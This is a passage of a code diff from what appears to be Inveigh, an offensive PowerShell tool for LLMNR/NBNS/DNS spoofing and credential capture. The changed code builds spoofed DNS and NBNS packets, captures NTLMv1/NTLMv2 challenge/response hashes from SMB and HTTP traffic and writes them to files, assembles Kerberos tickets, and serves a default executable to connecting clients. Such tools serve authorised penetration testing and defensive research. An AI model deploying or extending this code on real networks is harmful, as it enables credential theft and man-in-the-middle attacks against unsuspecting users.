+ if($inveigh.IP_capture_list -notcontains $SourceIP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $SourceIP -ne $IP)
+ {
+ $inveigh.IP_capture_list.Add($SourceIP) > $null
+ }
+
+ }
+ else
+ {
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 ignored for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[machine account]") > $null
+ }
+
+ }
+ else
{
- $inveigh.IP_capture_list.Add($SourceIP) > $null
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 ignored for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[capture disabled]") > $null
}
}
else
{
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 challenge/response ignored from $session($NTLM_host_string)`:`n$NTLM_domain_string\$NTLM_user_string [machine account]") > $null
+ $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] $Protocol($Port) NTLMv2 challenge missing for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort") > $null
}
}
elseif($NTLM_length -eq 24)
{
- $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $LM_response + ":" + $NTLM_response + ":" + $NTLM_challenge
- if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))
+ if($NTLM_challenge)
{
- $inveigh.NTLMv1_list.Add($NTLMv1_hash) > $null
- if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string"))
- {
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) NTLMv1 challenge/response captured from $session($NTLM_host_string)`:") > $null
- $inveigh.output_queue.Add($NTLMv1_hash) > $null
- }
- else
- {
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) NTLMv1 challenge/response captured from $session($NTLM_host_string)`:`n$NTLM_domain_string\$NTLM_user_string [not unique]") > $null
- }
+ $NTLMv1_hash = $NTLM_user_string + "::" + $NTLM_domain_string + ":" + $LM_response + ":" + $NTLM_response + ":" + $NTLM_challenge
- if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string")))
+ if($Capture -eq 'Y')
{
- $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) > $null
- $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB($Port) NTLMv1 challenge/response written to " + "Inveigh-NTLMv1.txt") > $null
- }
- if($inveigh.NTLMv1_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string")
- {
- $inveigh.NTLMv1_username_list.Add("$SourceIP $NTLM_domain_string\$NTLM_user_string") > $null
- }
+ if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))
+ {
+ $inveigh.NTLMv1_list.Add($NTLMv1_hash) > $null
+
+ if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string"))
+ {
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) NTLMv1 captured for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:") > $null
+ $inveigh.output_queue.Add($NTLMv1_hash) > $null
+ }
+ else
+ {
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) NTLMv1 captured for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[not unique]") > $null
+ }
+
+ if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string")))
+ {
+ $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) > $null
+ $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB($Port) NTLMv1 written to " + "Inveigh-NTLMv1.txt") > $null
+ }
+
+ if($inveigh.NTLMv1_username_list -notcontains "$SourceIP $NTLM_domain_string\$NTLM_user_string")
+ {
+ $inveigh.NTLMv1_username_list.Add("$SourceIP $NTLM_domain_string\$NTLM_user_string") > $null
+ }
- if($inveigh.IP_capture_list -notcontains $SourceIP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $SourceIP -ne $IP)
+ if($inveigh.IP_capture_list -notcontains $SourceIP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $SourceIP -ne $IP)
+ {
+ $inveigh.IP_capture_list.Add($SourceIP) > $null
+ }
+
+ }
+ else
+ {
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv1 ignored for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[machine account]") > $null
+ }
+
+ }
+ else
{
- $inveigh.IP_capture_list.Add($SourceIP) > $null
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv1 ignored for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort`:`n[capture disabled]") > $null
}
}
else
{
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLMv1 challenge/response ignored from $session($NTLM_host_string)`:`n$NTLM_domain_string\$NTLM_user_string [machine account]") > $null
+ $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] $Protocol($Port) NTLMv1 challenge missing for $NTLM_domain_string\$NTLM_user_string from $SourceIP($NTLM_host_string)`:$SourcePort") > $null
}
}
elseif($NTLM_length -eq 0)
{
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB($Port) NTLM null response from $source_IP`:$source_port($NTLM_host_string)") > $null
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $Protocol($Port) NTLM null response from $SourceIP($NTLM_host_string)`:$SourcePort") > $null
}
Invoke-SessionUpdate $NTLM_domain_string $NTLM_user_string $NTLM_host_string $source_IP
@@ -3513,7 +3575,7 @@ $SMB_functions_scriptblock =
$HTTP_scriptblock =
{
param ($Challenge,$Kerberos,$KerberosCount,$KerberosCredential,$KerberosHash,$KerberosHostHeader,$HTTPAuth,
- $HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDir,$HTTPResponse,
+ $HTTPBasicRealm,$HTTPContentType,$HTTPIP,$HTTPPort,$HTTPDefaultEXE,$HTTPDefaultFile,$HTTPDirectory,$HTTPResponse,
$HTTPS_listener,$IP,$NBNSBruteForcePause,$output_directory,$Proxy,$ProxyIgnore,$proxy_listener,$WPADAuth,
$WPADAuthIgnore,$WPADResponse)
@@ -3556,7 +3618,8 @@ $HTTP_scriptblock =
{
$inveigh.HTTP_session_table["$ClientIPAddress`:$ClientPort"] = $HTTP_challenge
}
-
+
+ $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] $HTTP_type($HTTPPort) NTLM challenge $HTTP_challenge sent to $HTTP_source_IP`:$HTTP_source_port") > $null
$hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.computer_name)
$netBIOS_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.netBIOS_domain)
$DNS_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($inveigh.DNS_domain)
@@ -3625,7 +3688,7 @@ $HTTP_scriptblock =
}
else
{
- $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort)
+ $HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::Any,$HTTPPort)
}
$HTTP_running = $true
@@ -3877,7 +3940,7 @@ $HTTP_scriptblock =
}
elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00')
{
- Get-NTLMResponse $HTTP_request_bytes $HTTP_source_IP $HTTP_source_port $HTTPPort $HTTP_type
+ Get-NTLMResponse $HTTP_request_bytes "Y" $HTTP_source_IP $HTTP_source_port $HTTPPort $HTTP_type
$HTTP_response_status_code = 0x32,0x30,0x30
$HTTP_response_phrase = 0x4f,0x4b
$HTTP_client_close = $true
@@ -3886,7 +3949,7 @@ $HTTP_scriptblock =
if($proxy_listener)
{
- if($HTTPResponse -or $HTTPDir)
+ if($HTTPResponse -or $HTTPDirectory)
{
$HTTP_header_cache_control = 0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x6e,0x6f,0x2d,0x63,0x61,0x63,0x68,0x65,0x2c,0x20,0x6e,0x6f,0x2d,0x73,0x74,0x6f,0x72,0x65
}
@@ -3951,21 +4014,21 @@ $HTTP_scriptblock =
$WPADAuthIgnore.Count -gt 0 -and $WPADAuth -like 'NTLM*' -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_})) -or $HTTP_client_close)
{
- if($HTTPDir -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)))
+ if($HTTPDirectory -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDirectory $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDirectory $HTTP_request_raw_url)))
{
- [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultEXE))
+ [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDirectory $HTTPDefaultEXE))
$HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/exe")
}
- elseif($HTTPDir)
+ elseif($HTTPDirectory)
{
- if($HTTPDefaultFile -and !(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url)) -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile)) -and $HTTP_request_raw_url -notmatch '/wpad.dat')
+ if($HTTPDefaultFile -and !(Test-Path (Join-Path $HTTPDirectory $HTTP_request_raw_url)) -and (Test-Path (Join-Path $HTTPDirectory $HTTPDefaultFile)) -and $HTTP_request_raw_url -notmatch '/wpad.dat')
{
- [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile))
+ [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDirectory $HTTPDefaultFile))
}
- elseif(($HTTPDefaultFile -and $HTTP_request_raw_url -eq '' -or $HTTPDefaultFile -and $HTTP_request_raw_url -eq '/') -and (Test-Path (Join-Path $HTTPDir $HTTPDefaultFile)))
+ elseif(($HTTPDefaultFile -and $HTTP_request_raw_url -eq '' -or $HTTPDefaultFile -and $HTTP_request_raw_url -eq '/') -and (Test-Path (Join-Path $HTTPDirectory $HTTPDefaultFile)))
{
- [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTPDefaultFile))
+ [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDirectory $HTTPDefaultFile))
}
elseif($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat')
{
@@ -3975,9 +4038,9 @@ $HTTP_scriptblock =
else
{
- if(Test-Path (Join-Path $HTTPDir $HTTP_request_raw_url))
+ if(Test-Path (Join-Path $HTTPDirectory $HTTP_request_raw_url))
{
- [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDir $HTTP_request_raw_url))
+ [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDirectory $HTTP_request_raw_url))
}
else
{
@@ -4126,12 +4189,11 @@ $HTTP_scriptblock =
# Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer
$sniffer_scriptblock =
{
- param ($DNS,$DNSTTL,$DNS_response_message,$EvadeRG,$IP,$Kerberos,$KerberosCount,$KerberosCredential,$KerberosHash,$LLMNR,
- $LLMNR_response_message,$LLMNRTTL,$mDNS,$mDNS_response_message,$mDNSTypes,$mDNSTTL,$NBNS,
- $NBNS_response_message,$NBNSTTL,$NBNSTypes,$output_directory,$Pcap,$PcapPortTCP,$PcapPortUDP,
- $SMB,$SpooferHostsIgnore,$SpooferHostsReply,$SpooferIP,$SpooferIPsIgnore,$SpooferIPsReply,
- $SpooferLearning,$SpooferLearningDelay,$SpooferLearningInterval,$SpooferNonprintable,
- $SpooferThresholdHost,$SpooferThresholdNetwork)
+ param ($DNS,$DNSTTL,$EvadeRG,$Inspect,$IP,$Kerberos,$KerberosCount,$KerberosCredential,$KerberosHash,$LLMNR,
+ $LLMNRTTL,$mDNS,$mDNSTypes,$mDNSTTL,$NBNS,$NBNSTTL,$NBNSTypes,$output_directory,$Pcap,
+ $PcapTCP,$PcapUDP,$SMB,$SpooferHostsIgnore,$SpooferHostsReply,$SpooferIP,
+ $SpooferIPsIgnore,$SpooferIPsReply,$SpooferLearning,$SpooferLearningDelay,$SpooferLearningInterval,
+ $SpooferNonprintable,$SpooferThresholdHost,$SpooferThresholdNetwork)
$sniffer_running = $true
$byte_in = New-Object System.Byte[] 4
@@ -4228,8 +4290,8 @@ $sniffer_scriptblock =
while($inveigh.running -and $sniffer_running)
{
- $packet_data = $sniffer_socket.Receive($byte_data,0,$byte_data.Length,[System.Net.Sockets.SocketFlags]::None)
- $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_data)
+ $packet_length = $sniffer_socket.Receive($byte_data,0,$byte_data.Length,[System.Net.Sockets.SocketFlags]::None)
+ $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_length)
$binary_reader = New-Object System.IO.BinaryReader($memory_stream)
$version_HL = $binary_reader.ReadByte()
$binary_reader.ReadByte() > $null
@@ -4253,8 +4315,8 @@ $sniffer_scriptblock =
$binary_reader.ReadBytes(8) > $null
$TCP_header_length = [Int]"0x$(('{0:X}' -f $binary_reader.ReadByte())[0])" * 4
$TCP_flags = $binary_reader.ReadByte()
- $binary_reader.ReadBytes(6) > $null
- $payload_bytes = $binary_reader.ReadBytes($total_length - ($header_length + $TCP_header_length))
+ $binary_reader.ReadBytes($TCP_header_length - 14) > $null
+ $payload_bytes = $binary_reader.ReadBytes($packet_length)
$TCP_flags = ([convert]::ToString($TCP_flags,2)).PadLeft(8,"0")
if($TCP_flags.SubString(6,1) -eq "1" -and $TCP_flags.SubString(3,1) -eq "0" -and $destination_IP -eq $IP)
@@ -4269,55 +4331,46 @@ $sniffer_scriptblock =
139
{
- if($SMB -eq 'Y')
+ if($payload_bytes)
{
+ Get-SMBConnection $payload_bytes $IP $source_IP $destination_IP $source_port "139"
+ }
- if($payload_bytes)
- {
- Get-SMBConnection $payload_bytes $IP $source_IP $destination_IP $source_port "139"
- }
-
- if($inveigh.SMB_session_table.ContainsKey("$source_IP`:$source_port"))
- {
- Get-NTLMResponse $payload_bytes $source_IP $source_port 139 "SMB"
- }
-
+ if($inveigh.SMB_session_table.ContainsKey("$source_IP`:$source_port"))
+ {
+ Get-NTLMResponse $payload_bytes $SMB $source_IP $source_port 139 "SMB"
}
+
}
445
{
- if($SMB -eq 'Y')
+ if($kerberos_data.Count -lt $kerberos_length -and "$source_IP`:$source_port" -eq $kerberos_source)
{
+ $kerberos_data += $payload_bytes
- if($kerberos_data.Count -lt $kerberos_length -and "$source_IP`:$source_port" -eq $kerberos_source)
+ if($kerberos_data.Count -ge $kerberos_length)
{
- $kerberos_data += $payload_bytes
-
- if($kerberos_data.Count -ge $kerberos_length)
- {
- New-KerberosKirbi $kerberos_data $kerberos_base_key "SMB" 445 "$source_IP`:$source_port"
- $kerberos_length = $null
- $kerberos_data = $null
- $kerberos_source = $null
- }
-
+ New-KerberosKirbi $kerberos_data $kerberos_base_key "SMB" 445 "$source_IP`:$source_port"
+ $kerberos_length = $null
+ $kerberos_data = $null
+ $kerberos_source = $null
}
- if($payload_bytes)
- {
- $kerberos_connection = Get-SMBConnection $payload_bytes $IP $source_IP $destination_IP $source_port "445"
- $kerberos_length = $kerberos_connection[0]
- $kerberos_data = $kerberos_connection[1]
- $kerberos_source = "$source_IP`:$source_port"
- }
+ }
- if($inveigh.SMB_session_table.ContainsKey("$source_IP`:$source_port"))
- {
- Get-NTLMResponse $payload_bytes $source_IP $source_port 445 "SMB"
- }
+ if($payload_bytes)
+ {
+ $kerberos_connection = Get-SMBConnection $payload_bytes $IP $source_IP $destination_IP $source_port "445"
+ $kerberos_length = $kerberos_connection[0]
+ $kerberos_data = $kerberos_connection[1]
+ $kerberos_source = "$source_IP`:$source_port"
+ }
+ if($inveigh.SMB_session_table.ContainsKey("$source_IP`:$source_port"))
+ {
+ Get-NTLMResponse $payload_bytes $SMB $source_IP $source_port 445 "SMB"
}
}
@@ -4331,21 +4384,25 @@ $sniffer_scriptblock =
139
{
- if($SMB -eq 'Y')
- {
+ if($payload_bytes)
+ {
+ $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes
+ }
- if($payload_bytes)
- {
- $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes
- }
+ if($NTLM_challenge -and $destination_IP -ne $source_IP)
+ {
- if($NTLM_challenge)
+ if($source_IP -eq $IP)
{
- $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge
$inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB(139) NTLM challenge $NTLM_challenge sent to $destination_IP`:$destination_port") > $null
- $NTLM_challenge = $null
+ }
+ else
+ {
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB(139) NTLM challenge $NTLM_challenge received from $destination_IP`:$destination_port") > $null
}
+ $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge
+ $NTLM_challenge = $null
}
}
@@ -4353,34 +4410,39 @@ $sniffer_scriptblock =
445
{
- if($SMB -eq 'Y')
- {
+ if($payload_bytes)
+ {
+ $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes
+ }
- if($payload_bytes)
- {
- $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes
- }
+ if($NTLM_challenge -and $destination_IP -ne $source_IP)
+ {
- if($NTLM_challenge -and $destination_IP -ne $source_IP)
+ if($source_IP -eq $IP)
{
- $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge
$inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB(445) NTLM challenge $NTLM_challenge sent to $destination_IP`:$destination_port") > $null
- $NTLM_challenge = $null
}
-
+ else
+ {
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB(445) NTLM challenge $NTLM_challenge received from $destination_IP`:$destination_port") > $null
+ }
+
+ $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge
+ $NTLM_challenge = $null
}
+
}
}
- if($Pcap -and ($PcapPortTCP -contains $source_port -or $PcapPortTCP -contains $destination_port -or $PcapPortTCP -contains 'All'))
+ if($Pcap -and ($PcapTCP -contains $source_port -or $PcapTCP -contains $destination_port -or $PcapTCP -contains 'All'))
{
if($payload_bytes)
{
$pcap_epoch_time = ([datetime]::UtcNow)-(Get-Date "1/1/1970")
- $pcap_length = [System.BitConverter]::GetBytes($total_length + 14)
+ $pcap_length = [System.BitConverter]::GetBytes($packet_length + 14)
$pcap_packet = [System.BitConverter]::GetBytes([Int][Math]::Truncate($pcap_epoch_time.TotalSeconds)) +
[System.BitConverter]::GetBytes($pcap_epoch_time.Milliseconds) + # should be microseconds but probably doesn't matter
@@ -4388,9 +4450,9 @@ $sniffer_scriptblock =
$pcap_length +
(,0x00 * 12) +
0x08,0x00 +
- $byte_data[0..($total_length - 1)]
+ $byte_data[0..($packet_length - 1)]
- if($pcap_packet.Count -eq ($total_length + 30))
+ if($pcap_packet.Count -eq ($packet_length + 30))
{
switch ($Pcap)
@@ -4445,7 +4507,7 @@ $sniffer_scriptblock =
{
$DNS_query_string = Get-NameQueryString 12 $payload_bytes
$DNS_response_data = $payload_bytes[12..($DNS_query_string.Length + 13)]
- $UDP_length[0] = $DNS_response_data.Count + $DNS_response_data.Count + $SpooferIP.Length + 27
+ [Byte[]]$UDP_length = ([System.BitConverter]::GetBytes($DNS_response_data.Count + $DNS_response_data.Count + $SpooferIP.Length + 23))[1,0]
$DNS_response_type = "[+]"
$DNS_response_data += 0x00,0x01,0x00,0x01 +
@@ -4457,36 +4519,27 @@ $sniffer_scriptblock =
$DNS_response_packet = 0x00,0x35 +
$source_port[1,0] +
- $UDP_length[1,0] +
+ $UDP_length +
0x00,0x00 +
$payload_bytes[0,1] +
0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 +
$DNS_response_data
- if($DNS -eq 'Y')
- {
- if($IP -ne $source_IP)
- {
- $DNS_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
- $DNS_send_socket.SendBufferSize = 1024
- $DNS_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port)
- $DNS_send_socket.SendTo($DNS_response_packet,$DNS_destination_point) > $null
- $DNS_send_socket.Close()
- $DNS_response_message = "[response sent]"
- }
- elseif($IP -eq $source_IP)
- {
- $DNS_response_message = "[local query]"
- }
- else
- {
- $DNS_response_message = "[something went wrong]"
- }
+ $DNS_response_message = Get-SpooferResponseMessage -QueryString $DNS_query_string -Type "DNS" -Enabled $DNS
+ $DNS_response_type = $DNS_response_message[0]
+ $DNS_response_message = $DNS_response_message[1]
+ if($DNS_response_message -eq '[response sent]')
+ {
+ $DNS_send_socket = New-Object System.Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Raw,[System.Net.Sockets.ProtocolType]::Udp)
+ $DNS_send_socket.SendBufferSize = 1024
+ $DNS_destination_point = New-Object System.Net.IPEndpoint($source_IP,$endpoint_source_port)
+ $DNS_send_socket.SendTo($DNS_response_packet,$DNS_destination_point) > $null
+ $DNS_send_socket.Close()
}
- if ($destination_IP -eq $IP)
+ if($destination_IP -eq $IP)
{
$inveigh.output_queue.Add("$DNS_response_type [$(Get-Date -format s)] DNS request for $DNS_query_string received from $source_IP $DNS_response_message") > $null
}
@@ -4523,11 +4576,13 @@ $sniffer_scriptblock =
$NBNS_query_type = [System.BitConverter]::ToString($payload_bytes[43..44])
$NBNS_query_type = Get-NBNSQueryType $NBNS_query_type
+ $NBNS_type = $payload_bytes[47]
$NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.Length - 4)])
$NBNS_query = $NBNS_query -replace "-00",""
$NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
$NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length)
- $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA"))
+ $NBNS_query_string_encoded_check = $NBNS_query_string_encoded
+ $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA"))
$NBNS_query_string_subtracted = $null
$NBNS_query_string = $null
$n = 0
@@ -4549,6 +4604,13 @@ $sniffer_scriptblock =
}
until($n -ge ($NBNS_query_string_subtracted.Length) -or $NBNS_query_string.Length -eq 15)
+ if($NBNS_query_string_encoded_check.StartsWith("ABAC") -and $NBNS_query_string_encoded_check.EndsWith("ACAB"))
+ {
+ $NBNS_query_string = $NBNS_query_string.Substring(2)
+ $NBNS_query_string = $NBNS_query_string.Substring(0, $NBNS_query_string.Length - 1)
+ $NBNS_query_string = "<01><02>" + $NBNS_query_string + "<02>"
+ }
+
if($NBNS_query_string -notmatch '[^\x00-\x7F]+')
{
@@ -4568,90 +4630,81 @@ $sniffer_scriptblock =
$NBNS_request_ignore = $false
}
- if($NBNS -eq 'Y')
+ if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $NBNS_query_string -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -and $source_IP -ne $IP)
{
-
- if($SpooferLearning -eq 'Y' -and $inveigh.valid_host_list -notcontains $NBNS_query_string -and [System.BitConverter]::ToString($payload_bytes[4..7]) -eq '00-01-00-00' -and $source_IP -ne $IP)
+
+ if(($NBNS_learning_log.Exists({param($s) $s -like "20* $NBNS_query_string"})))
{
-
- if(($NBNS_learning_log.Exists({param($s) $s -like "20* $NBNS_query_string"})))
- {
- $NBNS_learning_queue_time = [DateTime]$NBNS_learning_log.Find({param($s) $s -like "20* $NBNS_query_string"}).SubString(0,19)
-
- if((Get-Date) -ge $NBNS_learning_queue_time.AddMinutes($SpooferLearningInterval))
- {
- $NBNS_learning_log.RemoveAt($NBNS_learning_log.FindIndex({param($s) $s -like "20* $NBNS_query_string"}))
- $NBNS_learning_send = $true
- }
- else
- {
- $NBNS_learning_send = $false
- }
+ $NBNS_learning_queue_time = [DateTime]$NBNS_learning_log.Find({param($s) $s -like "20* $NBNS_query_string"}).SubString(0,19)
- }
- else
- {
+ if((Get-Date) -ge $NBNS_learning_queue_time.AddMinutes($SpooferLearningInterval))
+ {
+ $NBNS_learning_log.RemoveAt($NBNS_learning_log.FindIndex({param($s) $s -like "20* $NBNS_query_string"}))
$NBNS_learning_send = $true
}
-
- if($NBNS_learning_send)
+ else
{
- $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
- $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
- $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-"
- $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137
- $NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)]
-
- $NBNS_request_packet = $NBNS_transaction_ID_bytes +
- 0x01,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20 +
- $NBNS_hostname_bytes +
- 0x00,0x20,0x00,0x01
-
- $NBNS_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]::broadcast,137)
- $NBNS_UDP_client.Connect($NBNS_learning_destination_endpoint)
- $NBNS_UDP_client.Send($NBNS_request_packet,$NBNS_request_packet.Length)
- $NBNS_UDP_client.Close()
- $NBNS_learning_log.Add("$(Get-Date -format s) $NBNS_transaction_ID $NBNS_query_string") > $null
- $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS request $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) > $null
+ $NBNS_learning_send = $false
}
}
+ else
+ {
+ $NBNS_learning_send = $true
+ }
- if(($inveigh.valid_host_list -notcontains $NBNS_query_string -or $SpooferHostsReply -contains $NBNS_query_string) -and (!$SpooferHostsReply -or $SpooferHostsReply -contains $NBNS_query_string) -and (
- !$SpooferHostsIgnore -or $SpooferHostsIgnore -notcontains $NBNS_query_string) -and (!$SpooferIPsReply -or $SpooferIPsReply -contains $source_IP) -and (
- !$SpooferIPsIgnore -or $SpooferIPsIgnore -notcontains $source_IP) -and ($inveigh.spoofer_repeat -or $inveigh.IP_capture_list -notcontains $source_IP.IPAddressToString) -and ($NBNS_query_string.Trim() -ne '*') -and (
- $SpooferLearning -eq 'N' -or ($SpooferLearning -eq 'Y' -and !$SpooferLearningDelay) -or ($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -ge $spoofer_learning_delay)) -and ($source_IP -ne $IP) -and (
- $NBNSTypes -contains $NBNS_query_type) -and ($EvadeRG -eq 'Y' -and $destination_IP.IPAddressToString -ne $IP) -and ($SpooferNonprintable -eq 'Y' -or ($SpooferNonprintable -eq 'N' -and $NBNS_query_string -notmatch '[^\x00-\x7F]+')))
+ if($NBNS_learning_send)
{
+ $NBNS_transaction_ID = [String](1..2 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)})
+ $NBNS_transaction_ID_bytes = $NBNS_transaction_ID.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
+ $NBNS_transaction_ID = $NBNS_transaction_ID -replace " ","-"
+ $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137
+ $NBNS_hostname_bytes = $payload_bytes[13..($payload_bytes.Length - 5)]
+
+ $NBNS_request_packet = $NBNS_transaction_ID_bytes +
+ 0x01,0x10,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x20 +
+ $NBNS_hostname_bytes +
+ 0x00,0x20,0x00,0x01
+
+ $NBNS_learning_destination_endpoint = New-Object System.Net.IPEndpoint([IPAddress]::broadcast,137)
+ $NBNS_UDP_client.Connect($NBNS_learning_destination_endpoint)
+ $NBNS_UDP_client.Send($NBNS_request_packet,$NBNS_request_packet.Length)
+ $NBNS_UDP_client.Close()
+ $NBNS_learning_log.Add("$(Get-Date -format s) $NBNS_transaction_ID $NBNS_query_string") > $null
+ $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] NBNS request $NBNS_query_string sent to " + $NBNS_learning_destination_endpoint.Address.IPAddressToString) > $null
+ }
